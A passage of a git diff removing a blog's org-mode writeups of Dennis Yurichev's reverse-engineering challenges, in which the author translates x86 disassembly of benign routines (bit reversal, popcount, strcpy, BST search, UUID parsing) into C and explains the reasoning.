MIN(c - a, 0), 0) + \ - MIN(c - a, 0); -} -#+END_SRC - -And this happens to be an interesting implementation of \(min(a, b, c, d)\). - -* Challenge #18 - -For challenges with more complicated control flow, I've been drawing the basic -blocks out on a sheet of paper and drawing arrows between them to identify which -transitions represent loops, and which transitions represent conditionals. That -didn't work particularly well for this challenge, though. The solution instead -came to me instead by just staring at the disassembly for some time. - -#+BEGIN_SRC c -#include -#include -#include -#include - -int f3(char *a, uint64_t *b, uint64_t *c, uint64_t *d, uint64_t *e, uint64_t *f) -{ - int i; - char *cur; - - if (strlen(a) != 36) { - return a; - } - - cur = a; - i = 0; - - while (i != 37) { - if (i == 8 || i == 13 || i == 18 || i == 23) { - if (*cur != '-') { - return (char *) -1; - } - } else { - if (i == 36 && *cur == '\0') { - break; - } - - if (!isxdigit(*cur)) { - return (char *) -1; - } - } - - i++; - cur++; - } - - *b = strtoul(a, NULL, 16); - *c = strtoul(a + 9, NULL, 16); - *d = strtoul(a + 14, NULL, 16); - *e = strtoul(a + 19, NULL, 16); - *f = strtoull(a + 24, NULL, 16); - return 0; -} -#+END_SRC - -The code appears to implement a [[https://en.wikipedia.org/wiki/Universally_unique_identifier][UUID]] parser. - -* Challenge #19 - -This challenge was particularly difficult. I began by translating the individual -basic blocks to C, and connecting them with =goto=. - -#+BEGIN_SRC c -#include -#include - -char *f2_bb(char *a, int b, int c, char *d) -{ - // rax <- a - // rbx <- a - - // QWORD PTR [rsp+24] <- d - // QWORD PTR [rsp+16] <- b - // QWORD PTR [rsp+8] <- c - - int i; - int j; - int k; - int *ret; - - // f2: - { - // test rcx, rcx - // jne .L21 - if (c == 0) { - // add rsp, 32 - // pop rbx - // ret - return a; - } - - goto BBL21; - } - - // .L21: - { - BBL21: - // lea rdi, [4+rcx*4] - // ... - // call malloc - ret = malloc(c * 4 + 4); - - // ... - // mov DWORD PTR [rax], -1 - ret[0] = -1; - - // ... - // mov DWORD PTR [rax+4], 0 - ret[1] = 0; - - // mov r9d, 1 - i = 1; - - // ... - // cmp r9, rcx - // je .L22 - if (c == 1) { - goto BBL22; - } - - goto BBL8; - } - - // .L8: - { - BBL8: - // mov edi, DWORD PTR [rax+r9*4] - // lea r8d, [rdi+1] - // test r8d, r8d - // mov DWORD PTR [rax+4+r9*4], r8d - if ((ret[i + 1] = ret[i] + 1) <= 0) { - // jle .L5 - goto BBL5; - } - - // movzx r10d, BYTE PTR [rdx+r9] - // movsx r8, r8d - // cmp r10b, BYTE PTR [rdx-1+r8] - if (d[i] != d[ret[i + 1] - 1]) { - // jne .L7 - goto BBL7; - } - - // jmp .L5 - goto BBL5; - } - - // .L7: - { - BBL7: - // mov r8d, DWORD PTR [rax-4+r8*4] - // add r8d, 1 - // test r8d, r8d - // mov DWORD PTR [rax+4+r9*4], r8d - if ((ret[i + 1] = ret[ret[i + 1] - 1] + 1) > 0) { - // jg .L23 - goto BBL23; - } - - goto BBL5; - } - - // .L23: - { - BBL23: - // movsx r8, r8d - // cmp BYTE PTR [rdx-1+r8], r10b - if (d[ret[i + 1] - 1] == ret[i]) { - // je .L5 - goto BBL5; - } - - goto BBL7; - } - - // .L5: - { - BBL5: - // add r9, 1 - // cmp r9, rcx - if (++i != c) { - // jne .L8 - goto BBL8; - } - - goto BBL22; - } - - // .L22: - { - BBL22: - // xor r8d, r8d - // xor r10d, r10d - // xor edi, edi - i = j = k = 0; - goto BBL9; - } - - // .L9: - { - BBL9: - // cmp rdi, rsi - // jae .L24 - if (j >= b) { - goto BBL24; - } - - goto BBL14; - } - - // .L14: - { - BBL14: - // test r8d, r8d - if (i < 0) { - // js .L10 - goto BBL10; - } - - // movsx r9, r8d - // movzx r11d, BYTE PTR [rdx+r9] - // cmp BYTE PTR [rbx+rdi], r11b - if (d[i] == a[j]) { - // je .L10 - goto BBL10; - } - - // cmp rdi, rsi - // mov r8d, DWORD PTR [rax+r9*4] - i = ret[i]; - - if (j < b) { - // jb .L14 - goto BBL14; - } - - goto BBL24; - } - - // .L10: - { - BBL10: - // add r8d, 1 - // add r10d, 1 - // movsx rdi, r8d - j = ++i; - k++; - - // cmp rdi, rcx - if (j == c) { - // je .L18 - goto BBL18; - } - - // movsx rdi, r10d - j = k; - - // jmp .L9 - goto BBL9; - } - - // .L18: - { - BBL18: - // movsx r10, r10d - // sub r10, rcx - k -= c; - - // add rbx, r10 - a += k; - - // jmp .L13 - goto BBL13; - } - - - // .L24: - { - BBL24: - // xor ebx, ebx - a = NULL; - goto BBL13; - } - - // .L13: - { - BBL13: - // mov rdi, rax - // call free - free(ret); - - // add rsp, 32 - // mov rax, rbx - // pop rbx - // ret - return a; - } - -} -#+END_SRC - -#+BEGIN_SRC c -char *f2(char *a, int b, int c, char *d) -{ - int i; - int j; - int k; - int *ret; - - if (c == 0) { - return a; - } - - ret = malloc((c + 1) * sizeof(int)); - ret[0] = -1; - ret[1] = 0; - - i = 1; - - do { - if ((ret[i + 1] = ret[i] + 1) > 0 - && d[i] != d[ret[i] - 1]) { - while ((ret[i + 1] = ret[ret[i + 1] - 1] + 1) > 0) { - if (d[ret[i + 1] - 1] == ret[i]) { - break; - } - } - } - } while (++i < c); - - i = j = k = 0; - - while (j < b) { - if (i < 0 || d[i] == a[j]) { - j = ++i; - k++; - - if (j == c) { - free(ret); - return a + k - c; - } - - j = k; - } - i = ret[i]; - } - - free(ret); - return NULL; -} -#+END_SRC - -This challenge was nightmarishly difficult. I plan to come back to it near the -end of the year, but for now, consider this challenge incomplete. I've been -banging my head against a wall trying to make sense of it for a number of weeks -now, and I still don't have a good answer for what it does. - -* Challenge #20 - -Another challenge described as "easy." This time, it really is. - -#+BEGIN_SRC c -#include - -float f4() -{ - return rand() * ((float) 4.65661287307739257813e-10); -} -#+END_SRC - -I did defer to an ISA reference for =cvtsi2ss= and =mulss= as I'm not particularly -familiar with x86's floating point instructions. This challenge also gave me an -opportunity to use [[https://float.exposed/0x30000000][float.exposed]] to turn =.long 805306368= into a floating point -constant, but \(4.65661287307739257813 \cdot 10^{-10}\) isn't any more -comprehensible. The purpose of =f4= is clearer when observing the output. - -#+BEGIN_SRC prog -... -0.086556 -0.535690 -0.176955 -0.791683 -0.575702 -0.418118 -0.952373 -... -#+END_SRC - -=f4= returns a random floating point number on the range \([0, 1]\). - -* Challenge #21 - -I was able to complete the translation for this challenge in under five minutes, -which I'm quite proud of. - -#+BEGIN_SRC c -#include - -int f1(char *a, char *b) -{ - // rbp <- a - // rbx <- b - - int offset; - - // push r12 - // push rbp - // mov rbp, rdi - // push rbx - // mov rbx, rsi - // call strlen - // mov rdi, rbx - // mov r12, rax - // call strlen - // sub r12, rax - offset = strlen(a) - strlen(b); - - // mov rsi, rbx - // lea rdi, [rbp+0+r12] - // call strcmp - // pop rbx - // test eax, eax - // pop rbp - // sete al - // pop r12 - // ret - return strcmp(a + offset, b) ? 1 : 0; -} -#+END_SRC - -=f= is a simple "ends with" predicate function. It returns =1= if =a= ends with the -substring =b=. - -* Challenge #22 - -I stopped when I got to the =// ...=. I'd figured it out by then, and =-Os= made the -assembly for this quite messy. - -#+BEGIN_SRC c -int f2(int *a, int b, int *c, int d) -{ - // rcx <- a[b] - // eax <- d + 1 - // ebp <- c[0] - - int i; // r8 - int j; - int *cur; - - i = d + 1; - j = 0; - - while (j < i){ - while (c[j + 1] <= c[0] && j < d) - j++; - - cur = &a[i - 1]; - while (*cur-- > c[0]); - - if (j < i) { - c[j + 1] ^= *(cur + 1); - *cur ^= *(cur + 1); - c[j + 1] ^= *cur; - } - } - - c[0] ^= *(cur + 1); - // ... - - return 0; -} - -void f1(int *a, int b, int *c, int d) -{ - int ret; - - while (b < d) { - ret = f2(a, b, c, d); - f1(a, b, c, ret - 1); - b = ret + 1; - } -} -#+END_SRC - -The hint for this challenge is that "[t]his can be tricky, but the algorithm is -well known and heavily used almost everywhere," which gave it away once I got to -the mess of =xor= instructions. This is the [[https://en.wikipedia.org/wiki/XOR_swap_algorithm][XOR swap algorithm]], extended so that -it reverses the contents of =a= and =c=. - -#+BEGIN_EXPORT html - -#+END_EXPORT diff --git a/org/Writeups for Dennis Yurichev's Reverse Engineering Challenges (#2-#11)/challenges-re-writeups-1.org b/org/Writeups for Dennis Yurichev's Reverse Engineering Challenges (#2-#11)/challenges-re-writeups-1.org deleted file mode 100644 index 5450a4a..0000000 --- a/org/Writeups for Dennis Yurichev's Reverse Engineering Challenges (#2-#11)/challenges-re-writeups-1.org +++ /dev/null @@ -1,1238 +0,0 @@ -#+TITLE: Writeups for Dennis Yurichev's Reverse Engineering Challenges (#2-#11) -#+DATE: <2019-03-10 Sun> -#+TAGS: writeup, reverse-engineering, arm, x86 - -As mentioned in the (now deleted) post I wrote describing my plans for 2019, one -of my goals this year is to get through at least 50 of the exercises on Dennis -Yurichev's [[https://challenges.re/][challenges.re]]. I've decided to document my progress in the form of -writeups for the challenges I complete, batched in sets of ten exercises. For -each challenge, I'll try to explain the intuitions that brought me closer to -answering the recurring question from Yurichev, "[w]hat does this code do?" - -* Challenge #2 - -In nearly all of the challenges available on the site, we're given equivalent -disassembly listings of a function, =f=, as generated by different compilers on -different processor architectures, and we're asked to describe what the code -does. For now, I've decided to take it easy and only pay attention to the -disassemblies for GCC on x86, as that's what I've done the most work with. We -aren't given a target operating system, but I think it's reasonable to assume -that the x86 code uses the [[https://en.wikipedia.org/wiki/X86_calling_conventions#cdecl][cdecl calling convention]]. - -Although I stayed within my comfort zone in terms of instruction set -architecture, I refrained from my usual habit of converting the disassembly -listing to AT&T syntax for once. - -#+BEGIN_EXPORT html -
- -
-#+END_EXPORT - -Below is a rough translation of the disassembly listing to C. My process is -relatively unchanged from the workflow I described in an [[http://jakob.space/blog/decompilation-by-hand.html][older post]]. - -#+BEGIN_SRC c :hl_lines 0 -unsigned f(unsigned a) -{ - // mov eax,DWORD PTR [esp+0x4] - // bswap eax - a = ((a & 0xff) << 24) - | ((a & 0xff00) << 8) - | ((a & 0xff0000) >> 8) - | ((a & 0xff000000) >> 24); - - // mov edx,eax - // and eax,0xf0f0f0f - // and edx,0xf0f0f0f0 - // shr edx,0x4 - // shl eax,0x4 - // or eax,edx - a = ((a & 0xf0f0f0f) << 4) | ((a & 0xf0f0f0f0) >> 4); - - // mov edx,eax - // and eax,0x33333333 - // and edx,0xcccccccc - // shr edx,0x2 - // shl eax,0x2 - // or eax,edx - a = ((a & 0x33333333) << 2) | ((a & 0xcccccccc) >> 2); - - // and eax,0x55555555 - // and edx,0xaaaaaaaa - // add eax,eax - // shr edx,1 - // or eax,edx - a = ((a & 0x55555555) << 1) | ((a & 0xaaaaaaaa) >> 1); - - // ret - return a; -} -#+END_SRC - -I think it should make sense that =add eax,eax= is mathematically equivalent to -=imul eax, 2=, but it takes another step to see that it's [[https://math.stackexchange.com/questions/1610667/why-shifting-left-1-bit-is-the-same-as-multiply-the-number-by-2][equivalent]] to =shl eax,1=, -which is represented in the C code as =<< 1=. This isn't terribly complicated, but -it's an optimization detail that some might not be familiar with. =bswap= is an -instruction I was unfamiliar with, so I consulted my [[https://c9x.me/x86/html/file_module_x86_id_21.html][favorite x86 reference]]. It -converts the endianness of the word in the register. If you don't know what that -means, I'd suggest you read the page in the ISA reference. - -The code seems nonsensical at first, but we can compile it and inspect the -output given some test values. - -#+BEGIN_SRC c :hl_lines 0 -#include - -void main(void) -{ - unsigned i; - - for (i = 0; i <= 256; i++) { - printf("%010u %08x\n", i, i); - printf("%010u %08x\n", f(i), f(i)); - printf("\n"); - } -} -#+END_SRC - -Which produces: - -#+BEGIN_SRC -0000000000 00000000 -0000000000 00000000 - -0000000001 00000001 -2147483648 80000000 - -0000000002 00000002 -1073741824 40000000 - -0000000003 00000003 -3221225472 c0000000 - -0000000004 00000004 -0536870912 20000000 -... -#+END_SRC - -What's happening might not be immediately obvious, but there's a pattern in the -column of input/output represented in hexadecimal. Let's have a look at the -binary representations of a few pairs: - -#+BEGIN_SRC python -bin(0x00000001) # --> '0b00000000000000000000000000000001' -bin(0x80000000) # --> '0b10000000000000000000000000000000' - -bin(0x00000003) # --> '0b00000000000000000000000000000011' -bin(0xc0000000) # --> '0b11000000000000000000000000000000' - -# ... - -bin(0x0000004d) # --> '0b00000000000000000000000001001101' -bin(0xb2000000) # --> '0b10110010000000000000000000000000' -#+END_SRC - -My answer to the question is that =f= reverses the bits of the word it is given. - -* Challenge #3 - -This time, we're given an array of 64 32-bit integers and a hint that "[t]he -algorithm is well-known, but I've changed [the] constant so it wouldn't be -googleable." - -#+BEGIN_SRC c :hl_lines 0 -int f(unsigned n) -{ - unsigned a, b; - - // mov edx, edi - // shr edx - // or edx, edi - // mov eax, edx - a = b = (n >> 1) | n; - - // shr eax, 2 - // or eax, edx - // mov edx, eax - a = b = (a >> 2) | b; - - // shr edx, 4 - // or edx, eax - // mov eax, edx - a = b = (b >> 4) | a; - - // shr eax, 8 - // or eax, edx - // mov edx, eax - a = b = (a >> 8) | b; - - // shr edx, 16 - // or edx, eax - b = (b >> 16) | a; - - // imul eax, edx, 79355661 ; 0x4badf0d - // shr eax, 26 - a = (b * 0x4badf0d) >> 26; - - // mov eax, DWORD PTR v[0+rax*4] - // ret - return v[a]; -} -#+END_SRC - -The first thing that stood out to me was the presence of =-1= in the array of -integers. Testing from =0= to =UINT_MAX=, the only =n= that returns =-1= is =0=. -Interesting. It's also worth noting that the array contains every integer from -0, 31, so this function is using /some rule/ to map the input space onto [0, 31]. - -If we inspect the values of =f= for test values from =0= to =UINT_MAX=: - -#+BEGIN_SRC :hl_lines 0 - f(1) = 31 - f(2) = 30 - f(3) = 30 - f(4) = 29 - f(5) = 29 - f(6) = 29 - f(7) = 29 - f(8) = 28 - f(9) = 28 -f(10) = 28 -f(11) = 28 -f(12) = 28 -f(13) = 28 -f(14) = 28 -f(15) = 28 -f(16) = 27 -f(17) = 27 -f(18) = 27 -f(19) = 27 -f(20) = 27 -f(21) = 27 -f(22) = 27 -f(23) = 27 -f(24) = 27 -f(25) = 27 -f(26) = 27 -f(27) = 27 -f(28) = 27 -f(29) = 27 -f(30) = 27 -f(31) = 27 -#+END_SRC - -There's a pattern of exponential growth here -- every result occurs twice as -frequently as the previous result. Mathematically, this is \(31 - [log_2(n)]\) -where the brackets represent the Greatest Integer Function (\(f(x)\) returning -the largest integer less than or equal to \(x\)). This can be verified by -comparing the result of =f= to the following function for some test values: - -#+BEGIN_SRC c :hl_lines 0 -int my_f(unsigned n) -{ - return 31 - ((int) (log(n) / log(2))); -} -#+END_SRC - -* Challenge #4 - -This time around we're given an additional question to answer: "Some versions -have the =0x1010101= constant, some do not. Why?" I decided that I'd reverse the -x86 disassembly first, and then compare it to the other architectures. - -#+BEGIN_SRC c :hl_lines 0 -unsigned f(unsigned a) -{ - // mov edx,edi - // shr edx,1 - // and edx,0x55555555 - // sub edi,edx - a -= ((a >> 1) & 0x55555555); - - // mov eax,edi - // shr edi,0x2 - // and eax,0x33333333 - // and edi,0x33333333 - // add edi,eax - a = (a & 0x33333333) + ((a >> 2) & 0x33333333); - - // mov eax,edi - // shr eax,0x4 - // add eax,edi - // and eax,0xf0f0f0f - // imul eax,eax,0x1010101 - // shr eax,0x18 - // ret - return (((a + (a >> 4)) & 0xf0f0f0f) * 0x1010101) >> 0x18 -} -#+END_SRC - -The past few challenges have shown us that a good way of reversing these -bit-twiddling functions is to test a few input values and look at the binary -representations of the input and output values. - -#+BEGIN_SRC - In: 00000000 -Out: 0 - - In: 00000001 -Out: 1 - - In: 00000010 -Out: 1 - - In: 00000011 -Out: 2 - -... - - In: 00001100 -Out: 2 - - In: 00001101 -Out: 3 - - In: 00001110 -Out: 3 - - In: 00001111 -Out: 4 -#+END_SRC - -It doesn't take much effort to see that the function is counting the number of -bits set in the input. This was particularly interesting to me as I was asked to -derive this algorithm for a past job interview (though I wasn't able to in the -time given). - -This falls apart for numbers larger than =0xff=, however. It returns the number of -bits plus some constant that changes depending on which bits in the higher bytes -are set. I'll assume that =f= is only meant to be called with 8-bit integers. - -With that, we can move onto the second question. The disassemblies for x86, -ARM64, and Thumb have the =0x1010101= constant, while the disassemblies for ARM -and MIPS do not. - -Returning to the strategy of inspecting binary representations: - -#+BEGIN_SRC -00000000 00000000 00000000 00000000 -00000000 00000000 00000000 00000000 - -00000000 00000000 00000000 00000001 -00000001 00000001 00000001 00000001 - -00000000 00000000 00000000 00000010 -00000010 00000010 00000010 00000010 - -... - -00000000 00000000 00000000 00010000 -00010000 00010000 00010000 00010000 - -00000000 00000000 00000000 00010001 -00010001 00010001 00010001 00010001 - -00000000 00000000 00000000 00010010 -00010010 00010010 00010010 00010010 - -... - -00000000 00000000 00000000 11111101 -11111101 11111101 11111101 11111101 - -00000000 00000000 00000000 11111110 -11111110 11111110 11111110 11111110 - -00000000 00000000 00000000 11111111 -11111111 11111111 11111111 11111111 -#+END_SRC - -It would appear that multiplying a 32-bit integer by =0x1010101= propagates the -low byte to the three bytes above it. This makes sense when you notice that the -multiplication is paired with a =shr= of =0x18= -- moving the highest byte into the -lowest byte. - -Though, this doesn't really answer the question. What difference is there -between the architectures that use the =0x1010101= and the architectures that -don't? ARM and MIPS still do a shift by =0x18=, so what's going on? - -Looking at the ARM example, the instructions around the shift are: - -#+BEGIN_SRC asm :hl_lines 0 -ADD r0,r0,r0,LSL #16 -ADD r0,r0,r0,LSL #8 -LSR r0,r0,#24 -#+END_SRC - -For MIPS, it looks like: - -#+BEGIN_SRC asm :hl_lines 0 -sll $3,$2,8 -addu $2,$3,$2 -sll $3,$2,16 -addu $2,$2,$3 -j $31 -srl $2,$2,24 -#+END_SRC - -Both of these (humor me, I know the orders are different) are equivalent to: - -#+BEGIN_SRC c :hl_lines 0 -a = (a << 8) + a; -a = (a << 16) + a; -a >> 24; -#+END_SRC - -And, with some test values, we can see that this is equivalent to multiplication -by =0x1010101= and shifting by 24. - -#+BEGIN_SRC c :hl_lines 0 -unsigned a(unsigned n) -{ - n = (n << 8) + n; - n = (n << 16) + n; - return n >> 24; -} - -unsigned b(unsigned n) -{ - return (n * 0x1010101) >> 24; -} - -void main(void) -{ - for (unsigned i = 0; i < UINT_MAX; i++) { - if (a(i) != b(i)) { - printf("%u\n", i); - } - } -} -#+END_SRC - -I suspect the reason it doesn't show up in the ARM or MIPS disassemblies is due -to the fixed-width instruction encoding. The compiler likely decided it would be -less efficient to work with the =0x1010101= constant than to break it up into a -pair of shifts and additions. - -* Challenge #5 - -This is the first challenge we're given that has loops and conditionals, as -indicated by the telltale labels starting with ".L". Another initial observation -is that the first instruction in =f= operates on =%rsi=, and the third operates on -=%rcx=, so it's very likely that this function has four parameters. - -Translation to C is more involved than it was with the previous challenges, but -it is valuable as it makes the purpose of =f= very clear. In lieu of an analysis -of inputs and outputs, I'll provide a few notes on the process of translation. -First, =cmp= gave me a bit of trouble as I've been out of practice for some time -and the difference between AT&T and Intel syntax threw me for a loop. -Fortunately, the [[https://en.wikibooks.org/wiki/X86_Assembly/Control_Flow#Comparison_Instructions][wikibooks]] for x86 assembly covers this in detail. In AT&T -syntax, the order is =cmp subtrahend, minuend=, while in Intel syntax, the order -is =cmp minuend, subtrahend=. The subtrahend is subtracted from the minuend, so, -in Intel syntax, =cmp rcx, rsi; ja .L10= will jump if =%rcx= is greater than =%rsi=. - -Looking further into the function, there is some dereferencing with =BYTE PTR=, -which tipped me off that this was probably a function operating on a string. - -There's a curious =push rbx=, followed by a =pop rbx= before the =ret=. I ignored this -initially, taking it to be register preservation. It was. An intuition of what's -worth ignoring is valuable in reverse engineering. - -Upon reaching =.L16=, there are a lot of registers in use. It helped to look at -each register in isolation and see how they were used. For example, =%r10= is used -in the following instructions: =xor r10d, r10d=, =add r10, 1=, =lea rax, [rdi+r10]=, -and =cmp r10, r11=. This is very typical of a for-loop counter. =%r9= on the other -hand only shows up in two instructions: =mov r9d, 1=, and =cmovne r8d, r9d=. =%r9= is -just used as a source of 1 for =cmovne=, since there are no encodings for =cmovne= -that have an immediate source. - -=cmovne= was unfamiliar to me, so I did look it up in my favorite [[https://c9x.me/x86/html/file_module_x86_id_34.html][x86 reference]]. -It's a conditional move. =movz= was similarly unfamiliar. It simply loads =%bl= with -the source byte and zeroes out the higher portions of the register. - -#+BEGIN_SRC c :hl_lines 0 -char *f(char *a, unsigned b, char *c, unsigned d) -{ - // cmp rcx, rsi - // ja .L10 - if (d >= b) { - // .L10: - // xor eax, eax - // ret - return NULL; - } - - - // sub rsi, rcx - // add rsi, 1 - // mov r11, rsi - b = b - d + 1; - - // je .L10 - if (b == 0) { - // .L10: - // xor eax, eax - // ret - return NULL; - } - - // test rcx, rcx - // jne .L16 - // mov rax, rdi - // ret - if (d == 0) { - return a; - } - - // .L16: - // push rbx - // xor r10d, r10d - // mov r9d, 1 - // ... - // cmp r10, r11 - // jne .L4 - for (int i = 0; i != b; i++) { - // xor r8d, r8d - unsigned ret = 0; - - // .L4: - // lea rax, [rdi+r10] - // xor esi, esi - // ... - // add rsi, 1 - // cmp rsi, rcx - // jne .L8 - for (int j = 0; j != d; j++) { - // movzx ebx, BYTE PTR [rdx+rsi] - // cmp BYTE PTR [rax+rsi], bl - // cmovne r8d, r9d - if (a[i] != c[j]) { - ret = 1; - } - } - - // test r8d, r8d - // je .L12 - if (!ret) { - // .L12: - // pop rbx - // ret - return a + i; - } - } - - // xor eax, eax - // pop rbx - // ret - return NULL; -} -#+END_SRC - -The variable names I chose are pretty opaque, but if you stare at this long -enough, it should be pretty clear that =f= returns the offset of =c= in =a=. =b= and =d= -are just the lengths of =a= and =c= respectively. - -* Challenge #6 - -An additional hint given for this exercise is that, "[t]his is one of the -simplest exercises I made, but still this code can be served as useful library -function and is certainly used in many modern real-world applications." I'll -leave the relative addresses in my annotations of the disassembly, as it appears -to be PIC. - -For the sake of showing the mapping between assembly instructions and C code, -I'll first give a translation that uses =goto=, followed by a cleaned up version. - -#+BEGIN_SRC c -// 0: push rbp -// 1: mov rbp,rsp -// 4: mov QWORD PTR [rbp-0x8],rdi -// 8: mov QWORD PTR [rbp-0x10],rsi -int f(char *a, char *b) -{ -_start: - // c: mov rax,QWORD PTR [rbp-0x8] - // 10: movzx eax,BYTE PTR [rax] - // 13: movsx dx,al - // 17: mov rax,QWORD PTR [rbp-0x10] - // 1b: mov WORD PTR [rax],dx - *b = *a; - - // 1e: mov rax,QWORD PTR [rbp-0x10] - // 22: movzx eax,WORD PTR [rax] - // 25: test ax,ax - // 28: jne 2c - // 2a: jmp 38 - if (*a & 0xffff != 0) { - // 2c: add QWORD PTR [rbp-0x8],0x1 - // 31: add QWORD PTR [rbp-0x10],0x2 - // 36: jmp c - a++; - b++; - goto _start; - } - - // 38: pop rbp - // 39: ret -} -#+END_SRC - -#+BEGIN_SRC c -int f(char *a, char *b) -{ - while (*a != '\0') { - *b++ = *a++; - } -} -#+END_SRC - -Cool. Yurichev wasn't lying, this is a damn simple exercise, but it is something -that's used in nearly every C program. It's =strcpy=! - -* Challenge #7 - -This exercise gives the same hint as last time, and similarly uses address -offsets instead of symbols. - -Control flow isn't as initially obvious as some of the past exercises, but the -first instruction is a pretty good tell that this function takes a =char *= as a -parameter, and the =test dl,dl= was a good tell that the control flow depends on -the individual characters in that parameter. The =0x41= in that ==lea -esi,[rdx-0x41]= instruction stood out to me, as =0x41= is 'A' in ASCII, and the -=0x20= in the =add edx,0x20= was also a big clue, as ='a' - 'A'= is =0x20=. - -#+BEGIN_SRC c -void f(char *a) -{ - char *cur; - - // 0: movzx edx,BYTE PTR [rdi] - // 3: mov rax,rdi - // 6: mov rcx,rdi - // 9: test dl,dl - // b: je 29 - // 29: repz ret - if (*a == '\0') - return; - - // 6: mov rcx,rdi - cur = a; - - // 25: test dl,dl - // 27: jne 10 - while (*cur != '\0') { - // 10: lea esi,[rdx-0x41] - // 13: cmp sil,0x19 - // 17: ja 1e - // 19: add edx,0x20 - // 1c: mov BYTE PTR [rcx],dl - if (*cur - 0x41 <= 0x19) - *cur += 0x20; - - // 1e: add rcx,0x1 - // 22: movzx edx,BYTE PTR [rcx] - cur++; - } - - // 29: repz ret -} -#+END_SRC - -Just from the tells outlined in the previous paragraph, I don't even need to run -=f= to know that it converts =a= to lowercase, albeit only capable of transforming -capital ASCII characters (producing garbage for, say, a space character). - -* Challenge #8 - -The hint we're given this time is, "[t]his is one of the busiest algorithms -under the hood, though, usually hidden from programmers. It implements one of -the most popular algorithms in computer science. It features recursion and a -callback function." - -In preparation for an exercise that's would likely be more difficult than the -past few, I did a couple quick perusals to get a basic idea of the control flow, -the parameters, and the return values. The =mov rbp,rdx= early on indicates that -there are at least three parameters. - -There's a =push rbp= instruction, but [[https://en.wikipedia.org/wiki/Function_prologue][explicit creation of a stack frame]]. There -are also =push r12= and =push rbx= instructions. These all occur at the beginning of -the function, so we see some register preservation and an indication that these -are the registers that are going to be used in the code. - -I find that a lot of reverse engineering involves getting good footing, so -this is the information you want when starting out. - -What I normally try to find out next is whether the parameters and return type -are integers or pointers: =mov rsi,QWORD PTR [rbx]=, after =%rsi= was moved into -=%rbx= is a good tell that the second parameter is a pointer, likely to an array -of pointer as it's dereferenced as =QWORD PTR=, and the =call r12= tells me that the -first parameter is the callback that was mentioned in the hint. The =js 40= after -testing the callback's return value tells me that its return value is signed -- -probably an int, not a pointer -- and the pair of =mov rsi,QWORD PTR [rbx]= and -=mov rdi,rbp= before the call indicate that it takes two parameters. - -#+BEGIN_SRC c -void *f(int (*a)(void *, int), void **b, int c) -{ - int ret; - // 0: push r12 - // 2: test rsi,rsi - // ... - // 10: je 32 - if (b == 0) { - // 32: pop rbx - // 33: pop rbp - // 34: xor eax,eax - // 36: pop r12 - // 38: ret - return NULL; - } - - // r12 <- a - // rbx <- b - // rbp <- c - - while (1) { - // (This code path is also duplicated at 49-54. The branch that - // contains the duplicated code has been omitted, as the same - // effect arises from this loop continuing to iterate. - // - // 18: mov rsi,QWORD PTR [rbx] - // 1b: mov rdi,rbp - // 1e: call r12 - ret = a(*b, c); - - // 21: test eax,eax - // 23: je 56 - if (ret == 0) { - // 56: mov rax,rbx - // 59: pop rbx - // 5a: pop rbp - // 5b: pop r12 - // 5d: ret - return b; - } - - // 25: js 40 - else if (ret < 0) { - // 40: mov rbx,QWORD PTR [rbx+0x10] - b = b[4]; - - // 44: test rbx,rbx - // 47: je 32 - if (b == NULL) { - // 32: pop rbx - // 33: pop rbp - // 34: xor eax,eax - // 36: pop r12 - // 38: ret - return NULL; - } - } - - else { - // 27: mov rbx,QWORD PTR [rbx+0x18] - b = b[6]; - - // 2b: test rbx,rbx - // 30: jne 18 - if (b == NULL) { - // 32: pop rbx - // 33: pop rbp - // 34: xor eax,eax - // 36: pop r12 - // 38: ret - return NULL; - } - } - } -} -#+END_SRC - -In deriving meaning from this, I have a bit of an advantage; I've just recently -implemented this exact algorithm for my university's computer systems principle -course. This is the search function for a binary search tree, which takes an -arbitrary comparison function, =a=,, and returns the first node for which =a= -returns 0. The function returns =NULL= if the item is not in the tree. =c= is some -sort of "data" parameter for the callback function, hence why it isn't used in -the algorithm. - -=b= is probably a pointer to a struct looking something like the following: - -#+BEGIN_SRC c -struct tree_node { - char data[0x10]; - struct tree_node *left; - struct tree_node *right; -} -#+END_SRC - -as =QWORD PTR [rbx+0x10]= is followed when =a= returns something less than 0 -(represented in the struct as =left=), and =QWORD PTR [rbx+0x18]= is followed when =a= -returns something greater than 0 - (represented in the struct as =right=). - -This exercise is a little unusual. The hint mentions recursion, but this -algorithm is entirely iterative. Perhaps it was implemented recursively in C, -and the compiler performed some sort of tail-call optimization? I honestly have -no idea. - -* Challenge #9 - -The hint we're given this time is, "[n]ow that's easy." I certainly hope it is. - -This is the first challenge we're given that uses libc. It's also the first -challenge in which we see the compiler using [[https://en.wikipedia.org/wiki/Switch_statement#Compilation][binary search]] to optimize a -conditional with more than one branch. I tend to write these out as =switch= -statements whenever I see them, but it's perfectly reasonable for a compiler to -optimize an =if= in the same way. - -#+BEGIN_SRC c -#include -#include - -int f(char a) -{ - // sub rsp, 8 - // movzx eax, BYTE PTR [rdi] - switch (a) { - // cmp al, 89 - // je .L3 - case 'Y': - // cmp al, 121 - // jne .L2 - case 'y': - // .L3: - // mov eax, 1 - // add rsp, 8 - // ret - return 1; - - // jle .L21 - // ... - // .L21: - // cmp al, 78 - // je .L6 - case 'N': - // ... - // cmp al, 110 - // je .L6 - case 'n': - // .L6: - // xor eax, eax - // add rsp, 8 - // ret - return 0; - - default: - // .L2: - // mov edi, OFFSET FLAT:.LC0 - // call puts - // xor edi, edi - // call exit - puts("error!"); - exit(0); - } -} -#+END_SRC - -Yurichev wasn't lying, this was an easy challenge. In fact, if I were reverse -engineering a binary and came across something like this, I probably wouldn't -bother translating the assembly to equivalent C. It's a function that converts a -character to a boolean (in the sense of a prompt that asks the user for 'Y' or -'N' -- "Yes" or "No") and exits prematurely if the character wouldn't make sense -in that context. - -* Challenge #10 - -The hint time is "[t]his code snippet is short, but tricky. What does it do? -It's used heavily in low-level programming and is well-known to many low-level -programmers. There are several ways to calculate it, and this is the one of -them." - -The snippet really is short, clocking in at only four instructions, but I still -felt the need to break out [[https://godbolt.org/][Compiler Explorer]] for this one. The part about being -"used heavily in low-level programming" threw me off a bit, since I saw =neg= and -thought that perhaps that'd correspond to the =~= operator in C, which I've only -seen used in very low-level bit shifting code. This initial assumption would've -led me astray, however, and I'm glad I took the extra minute to verify. - -#+BEGIN_SRC c -int f(int a) -{ - return -a; -} -#+END_SRC - -#+BEGIN_SRC asm -f(int): - push rbp - mov rbp, rsp - mov DWORD PTR [rbp-4], edi - mov eax, DWORD PTR [rbp-4] - neg eax - pop rbp - ret -#+END_SRC - -#+BEGIN_SRC c -int f(int a) -{ - return ~a; -} -#+END_SRC - 